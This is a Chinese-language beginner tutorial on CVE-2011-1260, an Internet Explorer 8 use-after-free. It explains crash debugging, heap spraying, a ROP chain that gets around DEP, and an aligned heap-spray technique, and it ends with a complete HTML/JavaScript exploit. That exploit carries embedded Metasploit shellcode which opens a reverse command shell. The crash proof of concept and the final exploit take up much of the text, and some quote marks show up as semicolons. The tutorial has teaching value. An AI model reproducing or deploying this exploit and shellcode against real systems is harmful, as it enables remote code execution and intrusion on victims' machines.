我相信很多人了解过pwn2own大赛,心中肯定很膜拜大神,很想深入去了解这到底是什么啊,很高大上啊,怎么做到的啊?但是一看具体的漏洞分析又常常根本看不懂。想必很多人都想找一篇从零基础教学的漏洞分析文章。本文就从零基础去教学,用一个例子解释到底什么是网页木马以及它的具体原理。
本文假设你对漏洞挖掘,漏洞分析,汇编这些不太了解,但是对C,C++有一定了解。首先我们找一个具体的公开的例子——CVE-2011-1260,释放后重用漏洞。首先我们上网找一下这个漏洞的POC,得到如下(运行环境XP SP3,IE8,开启DEP(稍后解释什么是DEP)):
<html> <body> <script language=;javascript;> document.body.innerHTML+="<object hspace=;1000; width=;1000;>TAG_1</object>"; document.body.innerHTML+="<a id=;tag_3; style=;bottom:5000px;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px; >TAG_3</a>"; document.body.innerHTML += "AAAAAAA"; document.body.innerHTML+="<strong style=;font-size:1000pc;margin:auto -25000px auto auto;; dir=;ltr;>TAG_11</strong>"; </script> </body> </html>
我们双击打开,发现IE崩溃了,到底是什么原因呢?
从eax+70的地址取出数据,显然这个地址不合法,所以导致错误。我们按knL回车,从栈查看函数的调用情况:
不清楚栈的看这里,清楚的跳过:函数调用有很多种,这里指stdcall,在每一次调用之前,都会将参数压栈,从右到左,比如Void A(int a,int b),汇编就类似push,push,call,Call指令会将call指令的下一条指令的地址压栈,所以最后栈看起来是这样的:( 注意,压栈是从高往低压 )
对应源代码:
所以我们从栈中可以看出崩毁之前调用过什么函数,以及现在在什么函数里面,函数返回地址等等很多信息。
这里我们可以看到是在CElement::Doc函数里面崩毁,看看附近的汇编指令:
取ecx地址的内容返回给eax,但是eax是0,导致后来的内存读取错误,显然ecx出了问题。一般情况下,在thiscall中,第一个参数是this指针(用ecx传递),而对象+0x0h的地方储存的是虚函数表的地址,所以可得这里是取虚函数表偏移0×70的地方的虚函数指针,再调用这个虚函数。
显然这里的ecx就是CElement对象,这个对象是IE里面很多元素的父类,如(CObjectElement,对应<object>标签,CImgElement,对应<img>标签等等),而我们从POC中可以看出我们生成了一个<object>标签,所以我们可以推断这个是CObjectElement对象,那么这个对象从哪里来的呢?再看进入这个函数之前的汇编代码:
取ebx地址的内容给ecx,那么ebx哪里来?我们用ida反汇编这个函数看看(在mshtml.dll)
Ebx就是this指针,即ebx指向的地方就是CTreeNode,然后CTreeNode对象+0x0h的地方传给ecx(即偏移0x0h保存了对应的CElement指针),再传入CElement::Doc。那么CTreeNode和CElement有什么关系呢?
我们重新运行,然后定如下两个断点:
bu mshtml!CObjectElement::CreateElement+0x18 ".printf /"[%08x]//n/",eax;g"
在mshtml!CObjectElement::CreateElement+0×18出断下,并且打印eax的值,然后继续运行。从文字可以看出这个是构造CObjectElement的函数,里面会调用CObjectElement的构造函数,eax一般是函数返回的值,即这个对象的指针。
函数中分配了一个0xDC的堆,显然这是这个对象的大小。
bu mshtml!CTreeNode::CTreeNode+0x8c ".printf /"allocated CTreeNode at %08x, ref to CElement %08x of tbale %08x//n/", eax, poi(eax), poi(poi(eax));dds poi(eax) L 1;g"
这个断点是在CTreeNode+0x8c地方断下,打印对象指针,对应的CElement指针(CTreeNode+0×0处保存对应CElement对象),以及对应的CElement对象的虚函数表地址。
定好断点,GO!
从图可以看出,最后创建了一个CObjectElement对象在00201c30,然后立马又创建了与之对应的CTreeNode对象0338aa18,到了程序崩毁的地方,ebx(即CTreeNode对象)还是0338aa18,但是与之对应的CObjectElement对象(ecx)却改变了。
我们看00201c30的地方:
这里已经不是CObjectElement的虚函数表,说明这个对象已经被释放,所以与之对应的CTreeNode也在崩溃之前释放了,所以这里CTreeNode+0×0的CObjectElement指针也是错误的,所以指向的地方是00000000,然后读取虚函数表出错。我们定下断点:
bu mshtml!CTreeNode::Release+0x19 ".printf /"freeing CTreeNode at %08x, CElement at %08x, of table %08x//n/", edx, poi(edx), poi(poi(edx)); g"
这里可以看出,在IE崩溃前,CTreeNode已经释放了,然后崩溃时又引用了这个对象对应的CElement对象,然后call虚函数,导致程序出错。为什么会释放呢?因为<object>标签没指明clsid值,所以IE会释放这个标签,那么接下来我们可以干什么呢?
我们既然这个CTreeNode已经释放了,那么+0×0对应的CElement对象指针所指向的地方我们有无办法控制呢?我们发现最后崩溃时候ecx指向的地方很接近之前CObjectElement分配到的地方,而且这个地方已经释放了,我们知道,当一个对象的内存空间释放后,如果我们大量申请内存,我们迟早会用到这个之前释放的内存空间,因为本来内存就那么多,要循环利用嘛。如果我们大量申请和CObjectElement相同大小的堆块,我们会不会把ecx指向的地方覆盖呢?我们试试:
果然,ecx指向的地方已经被0x0c0c0c0c覆盖,根据汇编代码,之后会call [0x0c0c0c0c+0x70]
然后我们能把0x0c0c0c0c+0×70写上某个地址,然后eip就会跳到这个地址执行我们指定的代码,进而pwn IE 8。
那我们有什么办法在0x0c0c0c0c这里写上我们要写的数据呢?也是老方法,通过大量申请堆块,我们迟早会把0x0c0c0c0c这里覆盖成我们的内容。
这是如果没有DEP的话,我们直接用大量的nops+shellcode覆盖内存,然后精确计算在0x0c0c0c0c+0×70的地方填上我们shellcode的地址,我们就能跳去shellcode运行啦。但是这里有DEP。DEP就是如果这块内存没有执行权限的话,即使EIP跳到这里,它也不能执行代码。而我们通过大量申请堆块而放置shellcode的地方,系统是不允许在这里运行指令的。这时候,我们可以用ROP绕过DEP。ROP就是在堆栈中压入若干个小程序的地址,不断控制EIP运行到这些小程序里,达到某种目的。因为不直接在不可运行的内存中运行代码,所以可以绕过DEP。等下我会具体举例子。
要绕过DEP,我们可以通过VirtualAlloc+memcpy的方法,前者可以分配一个内存属性为可读可写可执行的内存区域,然后用memcpy把我们的shellcode复制过去。然后EIP跳到这个区域运行shellcode。(shellcode就是我们想要达到某种目的的代码,比如恶作剧可以是弹出一个对话框,把这些代码变成汇编的机器码,然后复制入内存里面,控制EIP跳至这里执行。)
通过MSDN查看我们要用的VirtualAlloc与memcpy函数的使用方法,最终我们决定利用两行代码绕过DEP(XP3下没有开启ASLR):
VirtualAlloc(分配的内存地址,内存大小,内存种类,内存属性)
VirtuallAlloc(0x7f002000,0x00004000,0x00003000,0x00000040) Memcpy(0x7f003000,0x0c0c0c80,0x00001000)
然后我们要想办法把esp(指向栈顶)指向0x0c0c0c0c,由于我们已经控制EIP(0x0c0c0c0c+0×70),所以如果我们在这里写入0x76a712ff,该处的指令为xchg eax,esp//ret。 然后我们EIP指向0x76a712ff,交换eax和esp(eax这时指向0x0c0c0c0c),然后ret(ret指令就是将EIP变成[ESP],然后ESP+4),这时EIP会变成0x7C809AE1。前面我们已经说过,刚进入函数的时候,[ESP]是函数返回地址,即到最后ret会将EIP变成这个地址,然后下面的是参数,从低到高(从上到下)分别对应C语言中的从左到右,即0x7f002000,0×00004000,0×00003000,0×00000040。然后我们看VirtualAlloc返回的时候指令
Retn 10的意思是EIP变成[ESP],然后ESP+14,所以运行完retn 10后,我们会跳入0x7c921db3(memcpy),然后[ESP]是函数返回地址(0x7f001000),然后下面三个是参数,运行完这个函数后,我们会跳入返回地址0x7f001000运行shellcode。(函数调用的具体过程大家可以参考《C++反汇编与逆向分析》的第六章)
然后0x0c0c0c34-0x0c0c0c7c我们放入随意的数据,然后0x0c0c0c7c放入0x76a712ff,然后0x0c0c0c80我们放入我们的shellcode。
按理来说,只要我们把上面的数据我们组成一个块(block1),然后申请大量内存填入这些块,最终覆盖0x0c0c0c0c就可以了。但是又有问题来了,堆块申请的起始地址是会变的!!!例如,我们堆块开始可能的地方可能是0x0c0c0000也可能是0x0c0c0010,我们知道,如果这个地址变了,我们最终就无法令我们这个块一开始的地方准确地对准0x0c0c0c0c,然后我们0x0c0c0c0c+0×70的地方的数据就会将EIP指向一个错误的地方,然后bomb,IE又崩溃。
如果没有DEP,我们可以覆盖大量的NOP(1mb左右)+shellcode(几百字节),然后只要0x0c0c0c0c的地方是NOP就可以了(很大几率hit中nop),但是这里不行,我们要准确的堆喷射。在这里,我陷入了深深的沉思,我确实在这里想了很久的办法,网上找了资料,大部分说的都是nop+shellcode,没有准确的堆喷射,即使有,也看得不明白。后来我突然发现,我们块的起始地址有个共同的特点:
0c0a8040是堆块的起始地址,前8字节是块首,真正我们用的是0c0a8048开始,我们在JS里面喷射用过的是string类型,前4字节是保存string的大小,后2字节是0000表示字符串解释,所以我们这里发现,我们字符串起始的位置都是04c结尾有木有?!! 如果我们创建一个块大小是0×1000(block2),然后前面0xc0c-0×048=0xbc4字节放入nop,然后再放入我们上面的block1,然后后面全部放入nop。然后我们的内存全部塞满这样的块,我们是不是就保证了全部0xXXXXXc0c地址都对准了我们block1的起始位置?(包括0x0c0c0c0c)(这是我自己想到的方法,不知道大家有无别的好方法?)
接下来,我们就要写shellcode,这里我们用kail或者BT5的msfpayload生成一个反弹命令行至本地1024端口的JS版shellcode,然后加入我们的exp中。最终我们的exp如下(heapLib.js是一个网上大家用来堆喷射的库,某个牛人写的):
<html> <body> <script src="heapLib.js"></script> <script language=;javascript;> var heap_obj0 = new heapLib.ie(0x20000); var heapspray=;/u9ae1/u7c80/u1db3/u7c92/u2000/u7f00/u4000/u0000/u3000/u0000/u0040/u0000/u3000/u7f00/u3000/u7f00/u0c80/u0c0c/u2fff/u0000;; while(heapspray.length<0x38) heapspray=heapspray+;/u9090/u9090;; heapspray+=;/u12ff/u76a7;; heapspray+=unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050%u5040%u5040%uea68%udf0f%uffe0%u89d5%u68c7%u007f%u0100%u0268%u0400%u8900%u6ae6%u5610%u6857%ua599%u6174%ud5ff%u6368%u646d%u8900%u57e3%u5757%uf631%u126a%u5659%ufde2%uc766%u2444%u013c%u8d01%u2444%uc610%u4400%u5054%u5656%u4656%u4e56%u5656%u5653%u7968%u3fcc%uff86%u89d5%u4ee0%u4656%u30ff%u0868%u1d87%uff60%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff"); var nops=unescape(;%u9090%u9090;); while(nops.length<0x800) nops+=nops; block=nops.substring(0,0xBC0/2)+heapspray+nops.substring(0,0x800-0xBC0/2-heapspray.length); while(block.length<0x40000) block+=block; final=block.substring(0,(0x20000-6)/2); for(var i=0;i<0x1000;i++){ heap_obj0.alloc(final,"test1"); } var obj_overwrite=unescape(;%u0c0c%u0c0c;); var obj_size=0xe0; while(obj_overwrite.length < 70){ obj_overwrite+=obj_overwrite; } obj_overwrite=obj_overwrite.slice(0,(obj_size-6)/2); for(var i=0;i<5;i++){ document.body.innerHTML+="<object align=;right; hspace=;1000; width=;1000;>TAG_1</object>"; } var heap_obj = new heapLib.ie(0x10000); for(var j=0;j<5000;j++){ heap_obj.alloc(obj_overwrite,"test"); } document.body.innerHTML += "<a id=;tag_3; style=;bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px; >TAG_3</a>"; document.body.innerHTML += "AAAAAAA"; document.body.innerHTML += "<strong style=;font-size:1000pc;margin:auto -1000cm auto auto;; dir=;ltr;>TAG_11</strong>"; </script> </body> </html>
以上,就是一个经典的利用IE UAF漏洞进行远程代码执行的完整过程,有了远程代码执行,木马还会远吗?由于本人菜鸟,难免会有错误的地方,希望大家一起能共同探讨学习。
所以大家知道上XX网的危害了吗?不要以为没下载病毒没事哦,恶意JS都能有exe的功能。